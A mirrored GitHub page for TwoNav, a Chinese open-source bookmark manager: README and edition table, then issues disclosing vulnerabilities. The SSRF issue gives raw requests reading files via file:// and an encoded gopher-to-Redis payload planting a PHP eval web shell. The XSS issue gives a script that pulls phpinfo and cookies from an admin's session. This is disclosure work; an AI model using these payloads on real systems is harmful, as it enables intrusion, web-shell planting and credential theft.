Giter Site home page Giter Site logo

twonav's Introduction

TwoNav 是一款开源的书签(导航)管理程序,界面简洁,安装简单,使用方便,基础功能免费。TwoNav可帮助你将浏览器书签集中式管理,解决跨设备、跨平台、跨浏览器之间同步和访问困难问题,做到一处部署,随处访问。

相关文档

作者声明

  • 本程序没有二开版、除了下面的项目地址均为盗版。
  • 使用盗版软件存在法律风险且没有任何保障。
  • 未经许可禁止用于商业用途、转载请保留作品出处。

项目由来

起初只是搭建一个自己的书签站、网上找了一圈看中了小z的OneNav。
因功能无法满足我,开始基于ONeNav各种魔改、然后就有了OneNav Extend、这个名字还是小z给取的。
后来和小z都开始收费后、由于用户容易搞混等各种原因、于是我重写代码并改名为TwoNav。
其中一些OneNav的特色依旧是保留下来、并兼容OneNav的一些插件。

项目地址

技术支持

  • 技术支持QQ: 271152681
  • 授权版QQ群: 695720839
  • 免费版QQ群: 621815595

运行环境

  • PHP: 7.3 - 8.2
  • 数据库: SQLite3 或 MySQL > 5.6.0

版本差别

  • 免费版无需授权即可使用 / 标准版|高级版需获取授权
  • 以下是简要的差别对比, 还有很多细节无法全部列举出来
功能 免费版 标准版 高级版
多用户支持 不支持 支持 支持
系统更新 不支持 一键更新 一键更新
下载主题 不支持 一键下载 一键下载
链接识别 支持单个 支持批量 支持批量
链接检测 不支持 支持 支持
本地备份 不支持 备份+回滚 备份+回滚
收录管理 不支持 支持 支持
留言管理 不支持 支持 支持
文章管理 不支持 支持 支持
热点新闻 不支持 支持 支持
账号保留 不支持 支持 支持
站点地图 不支持 支持 支持
用户组管理 不支持 支持 支持
自定义版权 不支持 支持 支持
自定义代码 不支持 支持 支持
注册码功能 不支持 支持 支持
图标获取 支持第三方 本地获取、第三方获取 本地获取、第三方获取
找回密码 不支持 不支持 支持
注册验证 不支持 邮箱 邮箱、短信
第三方登录 不支持 不支持 支持
短信登录 不支持 不支持 支持
域名防红 不支持 不支持 支持
个性域名 不支持 不支持 支持

功能特色

  • 支持后台管理
  • 支持私有链接
  • 支持加密链接
  • 支持分享链接
  • 支持二级分类
  • 支持用户分组/权限管理
  • 支持Chrome/Firefox/Edge书签批量导入
  • 支持批量更新链接图标/标题/描述等信息
  • 支持链接信息自动识别
  • 支持API
  • 支持Docker部署
  • 支持uTools插件
  • 支持Chromium内核的[浏览器扩展]
  • 支持简易文章管理
  • 支持更换各种模板/支持混搭,26个主题模板
  • 安全性支持:更换登录入口/二级密码/OTP双重验证

twonav's People

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

twonav's Issues

SSRF Vulnerability in TwoNav v2.1.13-20240321

Vulnerability Product: TwoNav v2.1.13-20240321
Vulnerability version: v2.1.13-20240321
Vulnerability type: SSRF
Vulnerability location: system\api.php
When using the TwoNav, I discovered a SSRF vulnerability in the '站长工具'->'连通测试'
I can use this vulnerability to detect internal network information or more
Given the following snippet:

function read_data(){
    global $USER_DB;
    //指定类型限制仅root账号可用!
    if($USER_DB['UserGroup'] != 'root' && in_array( $_GET['type'],['diagnostic_log','connectivity_test','phpinfo'])){
        msg(-1,'无权限');
    }
    
    //概要数据统计
    if($_GET['type'] == 'home'){
        $category_count = count_db('user_categorys',['uid'=>UID])??0;
        $link_count = count_db('user_links',['uid'=>UID])??0;
        $index_count = get_db('user_count','v',['uid'=>UID,'k'=>date('Ym'),'t'=>'index_Ym'])??0;
        $click_count = get_db('user_count','v',['uid'=>UID,'k'=>date('Ym'),'t'=>'click_Ym'])??0;
        msgA( ['code'=>1,'data'=>[$category_count,$link_count,$index_count,$click_count] ]);
    //连通测试
    }elseif($_GET['type'] == 'connectivity_test'){
        if($GLOBALS['global_config']['offline'] == '1'){
            msg(1,'您已开启离线模式,无法使用该功能!');
        }
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_POST['url']);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

        $start = microtime(true);
        $response = curl_exec($ch);
        $end = microtime(true);
        $time = round(($end - $start) * 1000, 2);
        if(curl_errno($ch)) {
            $log .= "请求发生错误:".curl_error($ch);
        } else {
            $log .= "响应内容:".$response ?? 'Null' ;
            $log .= ",访问耗时:{$time} 毫秒。" ;
        }
        curl_close($ch);
        msg(1,$log);

Firstly, log in to the backend as an administrator.
Visit http://localhost/index.php?c=admin&u=admin#root/tool.
Click on '站长工具'->'连通测试', use Burp Suite to capture packets, and modify the packet data.
Through testing, I have discovered various exploits including but not limited to:
Read any file through the file protocol

POST /TwoNav/index.php?c=api&method=read_data&type=connectivity_test&u=admin HTTP/1.1
Host: 192.168.31.184
Content-Length: 19
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.31.184
Referer: http://192.168.31.184/TwoNav/?c=admin&page=root/tool&u=admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: TwoNavSID=mjehh1692q6k2m13345op8ljr5; admin_key=2da422eacc04d523b4732337fc682a70
Connection: close

url=file:///D:/flag

image
Detecting ports through the dict protocol
image
Write a shell through the gopher protocol(if the server has Redis installed).

POST /TwoNav/index.php?c=api&method=read_data&type=connectivity_test&u=admin HTTP/1.1
Host: 192.168.31.184
Content-Length: 662
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.31.184
Referer: http://192.168.31.184/TwoNav/?c=admin&page=root/tool&u=admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: db_type=mysql; TwoNav_initial=83r8q51c605fflp84i1ibsb6qi; admin_key=66495a9c3f40439d250286a81f4aa1dc; TwoNavSID=o8ckle5vgsfhuu4l2gq0so8e11
Connection: close

url=gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527xxx%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252427%250D%250AD%253A%255Cenv%255Cphp%255Cphpstudy_pro%255CWWW%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A=

image
image

你好,请问下是否支持英文版本呢

因为有做英文站的需求,所以请问下后台设置中是否有修改成英文界面的选项呢。
我在后台查找了一番,并没有找到修改成英文界面的选项。

[Warning] Stored XSS in TwoNav v2.0.28-20230624

Vulnerability Product:TwoNav v2.0.28-20230624
Vulnerability version: v2.0.28-20230624
Vulnerability type: Stored XSS
Vulnerability Details:
Vulnerability location:add header 、"/index.php?c=api&method=read_data&type=phpinfo&u=admin"

The default settings allowing free register, causes stored XSS
the Stored XSS payload could let admin call phpinfo(); and bypassing the http-only , causes disclosure of cookies、root path of websites、variables of PHP and stuff

firstly , register an account at http://localhost/?c=login,
account : test
password : test
image

then go to "站点设置",
because of the http-only, you need to let admin call phpinfo(), the api is this : http://localhost/index.php?c=api&method=read_data&type=phpinfo&u=admin
enter the payload at the input of "头部(header)代码 - 用户", :

payload:

<script src="http://cdn.bootcss.com/jquery/1.11.0/jquery.min.js" type="text/javascript"></script>
<script>
$.ajax({
                url: '/index.php?c=api&method=read_data&type=phpinfo&u=admin',
                type: 'get',
                success: function (data) {
                    console.log(data);
                }
            })
</script>

and click "保存"
image

after it , when an admin enter the page "http://localhost/?u=test", the page will automatically get phpinfo and call console.log() print it
(Certainly you can update the payload to send phpinfo to your server, console log is a test)
image
finally ,we download phpinfo and open it in html ,
here is large number of cookies was disclosed, and root path of website
image
image

proved Stored XSS

discovered by leeya_bug

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.